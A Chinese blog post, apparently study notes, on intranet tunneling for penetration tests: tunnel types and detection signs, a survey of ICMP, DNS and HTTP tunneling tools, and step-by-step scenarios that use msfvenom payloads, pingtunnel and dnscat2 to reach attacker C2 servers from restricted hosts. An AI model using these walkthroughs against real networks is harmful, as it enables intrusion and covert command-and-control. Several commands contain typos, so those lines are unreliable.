内网渗透系列:内网穿透(隧道)学习

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网穿透(隧道)学习相关的知识,希望对你有一定的参考价值。

前言

本文试图学习整理内网穿透(隧道)技术

一、内网穿透概述

1、定义

(1)内网穿透

利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络

需要考虑的点:

  • 能出网,通过允许的协议或一些旁门
  • 隐蔽,被发现了那就凉了呀
  • 稳定,关键时刻不能出问题
  • 限制少,需要的条件越少越好
  • 覆盖面广,跟上一条其实有点关联,主要考虑使用场景越多越好

(2)隧道技术

一种通过使用互联网络的基础设施在网络之间传递数据的方式,包括数据封装、传输和解包在内的全过程。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。

  • 封装:隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递
  • 传输:被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道
  • 解包:一旦到达网络终点,数据将被解包并转发到最终目的地

按所处的协议层分层:

  • 网络层隧道:ICMP隧道等

  • 传输层隧道:TCP隧道、UDP隧道

  • 应用层隧道:HTTP、DNS、SSH等隧道

历史可参考:https://cloud.tencent.com/developer/article/1832949?from=article.detail.1419096

2、内网主机所有可能的出网方式

(1)允许ICMP协议出网

网络防火墙允许ICMP协议出网,即能ping通外网主机,一般都能出网:

  • Windows系统默认传输32 bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同

  • Linux系统默认传输48 bytes的数据,头信息比较复杂,但是末尾内容是固定!”#$%&’()+,-./01234567

ICMP隐蔽隧道的原理:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)

检测:

  • 检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
  • 寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
  • 注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
  • 检查ICMP数据包的协议标签,例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征。

(2)允许特定的TCP或UDP协议端口出网

网络防火墙允许特定的TCP或者UDP端口出网,比如连接外网的22、53、80、443、3389等常见应用的默认监听端口。

在一个不能出网的网络环境里面,将所有的TCP和UPD端口都探测一遍,通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致:

  • 比如配置的防火墙规则前后矛盾,解析的时候遇到匹配规则就退出执行
  • 比如网络管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。网络管理员配置时偷懒,可能会直接放行web服务器到任意ip地址的3306端口

(3)允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议)

这种网络防火墙能识别应用层的协议,放行允许出网的协议,比如HTTP、SSH、DNS、RDP等应用层协议

1、DNS隧道

原理:配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列DNS查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据

特征:

  • DNS隧道建立后依靠不断发送query信息来判断隧道存活性
  • 通过DNS隧道传输时,客户端将数据编码后作为主机名向DNS服务器提交,DNS服务端解码后读取数据

检测:

  • 每个IP地址的DNS流量异常,DNS报文数量大
  • DNS消息中TXT或NULL等不常用的记录类型多
  • DNS消息中域名有部分固定不变
  • DNS服务器的地理位置异常
  • 访问非受信的DNS服务器
  • 基于请求域名长度及请求频率统计分析方法
  • dnscat 查询中包含了dnscat 字符串

一些应用:

  • Trojan.Win32.Ismdoor.gen:使用了多层C&C通信协议结构,使用了DNS隧道技术,C&C服务器的命令会被协议为IPv6地址
  • Backdoor.Win32.ClIEcker:允许恶意程序从服务器接收随机类型的DNS数据包,该木马没有逻辑上的子协议,只有发送和接收数据包的请求
  • Backdoor.Win32.Denis:该恶意程序只使用一个DNS格式的数据包与DNS服务器通信,这种格式汇总,回应的大小被限制为只有4个字节,这只是一个常规的木马下载器,而且下载文件的速度很慢
  • PlugX远控变种: 该后门木马结合DNS隧道传输技术和PlugX远控程序,通过建立的DNS隧道进行攻击控制。利用DNS请求应答机制作为攻击渗透的命令控制通道,把C&C服务器指令封装到DNS相应报文中,以此控制被控端主机。并且依托DNS协议的特性,该木马可以有效穿透防火墙,躲避常规的安全检测
  • 2016年5月,Palo Alto曝光了一起APT攻击,Webky团队利用DNS请求应答作为攻击渗透的命令控制通道。攻击者把CC服务器的指令封装在DNS响应报文里
  • 2017年3月,思科Talos团队发现一起名为DNSMessenger的攻击,该恶意软件的所有命令与控制通信都经过DNS TXT类型查询和响应。以此来躲避检测

可参考:https://zhuanlan.zhihu.com/p/33539224

2、HTTP隧道

原理:通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密的,不安全的,一般再嵌套一个SSH安全隧道

CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive   //客户端到服务器端的连接持续有效
Content-Length: 0
Host: 124.xxx.xxx.xx   //主机地址
Proxy-Authorization:Basic YTph //身份验证信息
User-Agent: OpenFetion //可以标识请求者的信息,如什么浏览器类型和版本、操作系统、使用语言等信息

可参考:https://www.cnblogs.com/ready-gogo/p/12498388.html

3、端口映射和端口转发

端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义

(本节内容 from 七夜师傅)

(1)端口映射

端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景:

  • 一个hacker通过扫描暴露到公网中的主机A ,主机A开放了一些敏感端口,而且是弱口令,导致主机A被hacker完全控制。
  • 接着hacker就想往公司内网中渗透,通过在主机A监控流量或者扫描的方式,发现了主机B,但是主机B只能由主机A进行访问,开放了80端口,而且没有公网IP。
  • 如果hacker想直接访问主机B的 80端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker可以远程连接到80端口。


从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网IP的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的IP上了

(2)端口转发

端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示:

  • hacker位于主机A,主机A可能是个人电脑,也可能是hacker控制的主机。
  • hacker通过发送恶意邮件的方式给主机B,主机B的用户点开邮件,运行恶意木马导致主机B被感染,就成了我们俗称的“肉鸡”。虽然已经有木马运行在主机B中,但是由于主机B不在公网中,hacker无法访问到主机B。
  • 主机B运行着ssh服务,开放着22端口,hacker如果想在主机A上直接连接主机B的22端口,执行shell命令,这就需要端口转发。

这就需要一台主机C,一个公网的VPS(去阿里云或者腾讯云买)

  • 木马的服务端运行在主机C,同时监听两个端口 port1 与port2
  • 木马的客户端运行在主机B,分别主动连接主机B的22端口和主机C的port2
  • hacker只需要主动连接主机C的port1,这样就打通了到主机B 22端口的线路

二、隧道工具

1、网络层隧道工具

(1)icmpsh

github:https://github.com/bdamele/icmpsh

能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用

可参考:https://www.freebuf.com/news/210450.html

(2)icmptunnel

github:https://github.com/DhavalKapil/icmptunnel

创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用

(3)pingtunnel

github:https://github.com/esrrhs/pingtunnel

TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用

2、传输层隧道工具

(1)netcat

官网:https://eternallybored.org/misc/netcat/

网络工具中的瑞士军刀,不多介绍,linux系统一般自带

(2)powercat

github:https://github.com/besimorhino/powercat

powershell版的netcat

(3)socat

github:https://github.com/erluko/socat

具有记录转发流的功能,方便查看转发内容,需要安装

(4)netsh

官网:https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts

windows系统自带的网络配置工具

(5)lcx

github:https://github.com/windworst/LCX

基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的

//内网机器10.0.0.1的3389端口,转发到公网9000端口
lcx.exe -slave 192.168.1.161 9000 10.0.0.1 3389 

//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上
lcx.exe -listen 9000 5555

(6)NATBypass

github:https://github.com/cw1997/NATBypass

一款lcx在golang下的实现,更好的跨平台,更完善的文档

(7)iox

github:https://github.com/EddieIvan01/iox

端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台

缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险

(8)frp

github:https://github.com/fatedier/frp

用Go写的,支持TCP和UDP,以及HTTP和HTTPS协议,同时也支持P2P,仍在持续更新

3、应用层隧道工具

由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等

(1)dnscat2

github:https://github.com/iagox86/dnscat2

IP over DNS通过 DNS 协议创建加密的命令和控制 (C&C) 通道,看起来厉害极了

可参考:

(2)dnscat2-powershell

github:https://github.com/lukebaggett/dnscat2-powershell

dnscat2的powershell客户端

(3)dns2tcp

github:https://github.com/alex-sector/dns2tcp

TCP over DNS,即通过DNS隧道转发TCP连接,没有加密。采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便

可参考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096

(4)iodine

github:https://github.com/yarrick/iodine

IPv4 over DNS,即通过DNS隧道转发IPv4数据包,在编码,请求类型上提供了更丰富的选择,而且在速度方面更快

可参考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096

(5)reGeorg

github:https://github.com/sensepost/reGeorg

SOCKS over HTTP,即通过HTTP隧道转发SOCKS,用Python写的,基于Python2.7和urllib3,上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道

  • 对于aspx的网站假如总是报错,可以尝试ashx脚本
  • php程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本
  • linux下利用proxychains,Windows下利用proxifier实现任意应用通过代理
  • 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口

(6)Neo-reGeorg

github:https://github.com/L-codes/Neo-reGeorg

重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃

根据作者说法:

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
  • 支持内网转发,应对负载均衡环境

(7)reDuh

github:https://github.com/sensepost/reDuh

TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定

(8)Tunna

github:https://github.com/SECFORCE/Tunna

TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定

(9)ABPTTS

github:https://github.com/nccgroup/ABPTTS

TCP over HTTP,即通过HTTP隧道转发TCP连接

  • 数据加密,可自定义HTTP数据
  • 对抗特征检测十分优秀
  • 创建的隧道十分稳定
  • 比较遗憾的是支持的web脚本类型只有aspx和jsp

(10)EarthWorm(EW)

官网:http://rootkiter.com/EarthWorm/
github:https://github.com/rootkiter/Binary-files
下载:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e

十分方便的多级SOCKS代理,已经永久停止更新,五种管道:

  • ssocksd : 正向代理
  • rssocks : 反向代理
  • lcx_slave: 该管道一侧通过反弹方式连接代理请求,另一侧连接代理提供主机
  • lcx_tran : 该管道通过监听本地端口代理请求,并转发给代理提供主机
  • lcx_listen : 该管道通过监听本地端口接收数据,并将其转发给目标网络回连的代理提供主机

(11)Termite

官网:http://rootkiter.com/Termite/
github:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e

EarthWorm的升级版,已经永久停止更新

(12)Venom

github:https://github.com/Dliv3/Venom/

Venom是一款基于ssh隧道,为渗透测试人员设计的使用Go开发的多级代理工具

据作者说:

  • 可视化网络拓扑
  • 多级socks5代理
  • 多级端口转发
  • 端口复用 (apache/mysql/…)
  • ssh隧道
  • 交互式shell
  • 文件的上传和下载
  • 节点间通信加密
  • 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)

(13)ssocks

github:https://github.com/54Pany/sSocks

正向和反向的socks工具,可执行文件的大小很小,支持socks5验证,支持IPV6和UDP

(14)s5.go

github:https://github.com/ring04h/s5.go

go语言编写的socks服务工具,良好的跨平台特性

(15)ssh

ssh本身可以用来做隧道,如果没被限制的话

本地转发:

ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
#ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由服务端转发到114.114.114.114:9999

远程转发:

ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
#ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端,再由ssh客户端转发到114.114.114.114:9999

动态转发:

ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1
# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址

构建ssh隧道的常用参数:

-C 压缩传输,提高传输速度
-f 后台执行数据传输
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发,即SOCKS代理
-p 指定ssh连接端口

三、内网穿透场景

1、上线零出网的内网主机

(1)背景

获取了webshell的主机位于内网

  • ICMP等网络层协议不能出网
  • TCP和UDP等传输层协议不能出网
  • DNS、HTTP等应用层协议也不能出网
  • 唯一的数据通道是反向代理入网的web应用

(2)方案

利用反向代理入网的web应用所在的HTTP连接,构建正向的TCP over HTTP隧道。通过这条隧道,我们可以向内网主机发起TCP连接。生成bind类型的payload,通过webshell上传执行就会监听一个端口,我们的远控平台通过构建的TCP over HTTP隧道,去连接监听的端口即可上线

能构建TCP over HTTP的隧道的工具有ABPTTS、Tunna、reDuh等,由于Tunna、reDuh构建的tcp连接不稳定,这里选用ABPTTS

(3)过程

1、上线metasploit

  • 通过正向的HTTP隧道构建TCP连接

    # 配置abptts运行环境
    # 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
    pip install httplib2
    pip install pycrypto
    
    # 生成server端脚本
    python abpttsfactory.py -o server
    
    # 上传server端脚本到web服务器,客户端运行以下命令
    python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
    
    # abptts客户端监听127.0.0.1:7777,通过http://192.168.168.10/abptts.aspx这个http隧道,将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
    
  • 生成bind类型的payload,通过webshell上传执行

    # 这里的rhost和lport是转发的目的IP和端口
    msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe
    
  • 启动msf监听,等待meterpreter执行上线

    #这里的rhost和lport是abptts客户端监听的IP和端口,msf所在主机必须能访问到这个IP和端口,这里msf和abptts在同一个主机上
    
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
    payload => windows/meterpreter/bind_tcp
    msf5 exploit(multi/handler) > set rhost 127.0.0.1
    rhost => 127.0.0.1
    msf5 exploit(multi/handler) > set lport 7777
    lport => 7777
    msf5 exploit(multi/handler) > run
    
    [*] Started bind TCP handler against 127.0.0.1:7777
    [*] Sending stage (180291 bytes) to 127.0.0.1
    [*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400
    
    meterpreter > getuid
    Server username: DESKTOP-0AH7FQ0\\admin
    

2、上线cobaltstrike

由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon SMB,并且都必须连接到父beacon,无法直接连接cobalstrike服务端,所以我们需要一个父beacon来中转连接。

  • 通过正向的http隧道构建tcp连接

    # 配置abptts运行环境
    # 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
    pip install httplib2
    pip install pycrypto
    
    # 生成server端脚本
    python abpttsfactory.py -o server
    
    # 上传server端脚本到web服务器,客户端运行以下命令
    python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
    
    # abptts客户端监听127.0.0.1:7777,通过http://192.168.168.121/abptts.aspx这个http隧道,将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
    
  • 创建反向的listener

  • 生成父beacon

  • 上传父beacon到abptts客户端执行上线

  • 创建payload为TCP beacon的listener

  • 生成stageless的子beacon

  • 将生成的子beacon通过webshell上传执行

    # 可以通过webshell查看网络监听,确保子beacon执行成功
    netstat -ano | findstr 127.0.0.1:8888
    
  • 在父beacon中连接ABPTTS的监听IP和端口

  • 成功上线不能出网的webshell内网主机

2、上线仅ICMP协议出网的内网主机

(1)背景

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有ICMP协议可以出网)

  • TCP和UDP等传输层协议不能出网
  • DNS、HTTP等应用层协议也不能出网
  • 只有ICMP协议可以出网

(2)方案

ICMP协议可以出网,可以利用ICMP协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过ICMP隧道转发TCP、UDP、socks5连接

(3)过程

1、ICMP隧道转发TCP上线metasploit

  • 准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端

    ./pingtunnel -type server -noprint 1 -nolog 1
    
  • ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

    pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
    # 该命令的意思是icmp客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
    
  • 生成反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线

    msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
    # 这里的lhost和lport为icmp客户端监听ip和端口
    
  • 启动msf监听,等待meterpreter执行上线

    # 这里的lhost和lport为icmp客户端转发到的ip和端口
    
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
    payload => windows/meterpreter/reverse_https
    msf5 exploit(multi/handler) > set lhost 0.0.0.0
    lhost => 0.0.0.0
    msf5 exploit(multi/handler) > set lport 7777
    lport => 7777
    msf5 exploit(multi/handler) > run
    
    [*] Started HTTPS reverse handler on https://0.0.0.0:7777
    
    meterpreter > getuid
    Server username: DESKTOP-test0\\admin
    

2、ICMP隧道转发socks上线metasploit

  • 准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端

    ./pingtunnel -type server -noprint 1 -nolog 1
    
  • ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

    pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
    # 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务,通过连接到icmpserver_ip的icmp隧道,由icmpserver转发socks5代理请求到目的地址
    
  • 生成支持socks5代理的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线

    msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe
    
  • 启动msf监听,等待meterpreter执行上线

    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
    payload => windows/meterpreter/reverse_https
    msf5 exploit(multi/handler) > set lhost 0.0.0.0
    lhost => 0.0.0.0
    msf5 exploit(multi/handler) > set lport 8443
    lport => 8443
    msf5 exploit(multi/handler) > run
    
    [*] Started HTTPS reverse handler on https://0.0.0.0:8443
    
    meterpreter > getuid
    Server username: DESKTOP-test0\\admin
    

3、ICMP隧道转发TCP上线cobaltstrike

  • 准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端

    ./pingtunnel -type server -noprint 1 -nolog 1
    
  • ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

    pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
    # 该命令的意思是icmp隧道客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
    
  • cobaltstrike创建listener
    https host和https port(c2)为ICMP隧道客户端的监听IP和端口
    https port(bind)为转发目的地址的端口

  • 生成反向payload的beacon

  • 上传生成的beacon到ICMP隧道客户端执行,成功通过反向ICMP隧道上线

4、ICMP隧道转发socks上线cobaltstrike

  • 准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端

    ./pingtunnel -type server -noprint 1 -nolog 1
    
  • ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

    pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
    # 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务,通过连接到icmpserver_ip的icmp隧道,由icmpserver转发socks5代理请求到目的地址
    
  • cobaltstrike创建listener
    这里的代理可以是socks或者HTTP,好像cobaltstrike不支持socks5代理,这里并不能成功上线
    这里也可以使用HTTP代理,不过需要工具将HTTP代理转为socks5代理,比如privoxy

  • 选择创建的listener生成beacon上传到目标执行即可上线

3、上线仅DNS协议出网的内网主机

(1)背景

通过某种信道获取了内网主机的shell,但是做了限制不跟外网通信

  • TCP和UDP等传输层协议不能出网
  • ICMP、HTTP等应用层协议也不能出网
  • 只有DNS协议可以出网

(2)方案

DNS协议可以出网,只允许端口53的UDP流量,就不能通过TCP搭建隧道,这种情况下我们可以通过UDP搭建DNS隧道,具体实现是通过搭建一个DNS服务器委派的子域,这个子域因为是我们自己搭建的主机,这时候就可以通过这个子域用看起来厉害极了的dnscat2搭建DNS隧道,和网络被限制的主机进行交互

(3)过程

1、购买域名并配置A记录和NS记录

  • A记录配置一个指向攻击者VPS的IP。例如A记录0,对应IP108.x.x.216
  • NS记录配置你前面设置的A记录,006.xxx.bio 对应0.xxx.bio.
  • 安全组策略,出口和入口配置允许53端口,任意地址连接0.0.0.0

2、测试是否解析到服务器

  • ping配置域名

  • ns记录是否解析成功

  • 在VPS服务器上进行抓包

    tcpdump -n -i eth0 dst port 5
    

3、使用dnscat2

  • 安装dnscat2服务端,因为服务端是用ruby语言编写的,所以需要配置ruby环境

    apt-get install gem
    apt-get install ruby-dev
    apt-get install libpq-dev
    apt-get install ruby-bundler
    
    # 从github上下载dnscat2,并编译
    apt-get insatll git
    git clone https://githun.com/iagox86/dnscat2.git 
    cd dnscat2/server
    bundle insatll
    
  • 启动服务端

    ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache
    
  • 启动客户端

    dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID
    
  • 反弹shell

  • 交互模式
    输入session命令可以查看当前控制的进程(每个连接都是独立的进程)。输入shell命令打开另一个会话,建立一个交互模式

结语

内网穿透的本质:通过各种通信信道,无论是正向的还是反向的,实现传输层协议TCP/UDP数据包的转发,应用层协议都是基于传输层的协议实现的。比如ABPTTS + SOCKS服务 = reGeorg

内网渗透中的内网穿透的条件:能通过某种通信信道远程代码执行。如果能通过某种通信信道远程代码执行,一定可以通过这种通信信道实现TCP/UDP 数据包的转发,即TCP/UDP over something隧道。如果没有现成的工具,可能需要我们自己开发。比如,通过sql注入获取了shell,我们也可以利用这条通信信道转发TCP/UDP 数据包,没有现成的工具,需要我们开发工具而已,隧道客户端将TCP/UDP 数据包封装写进数据库,再由隧道服务端从数据库中读出封装的数据包解包,发往对应地址即可

一些有意思的东西:

参考:

以上是关于内网渗透系列:内网穿透(隧道)学习的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透系列:内网隧道之iox

内网渗透系列:内网隧道之pingtunnel

内网渗透系列:内网隧道之spp

内网渗透系列:内网隧道之spp

内网渗透系列:内网隧道之ICMP隧道

内网渗透系列:内网隧道之ICMP隧道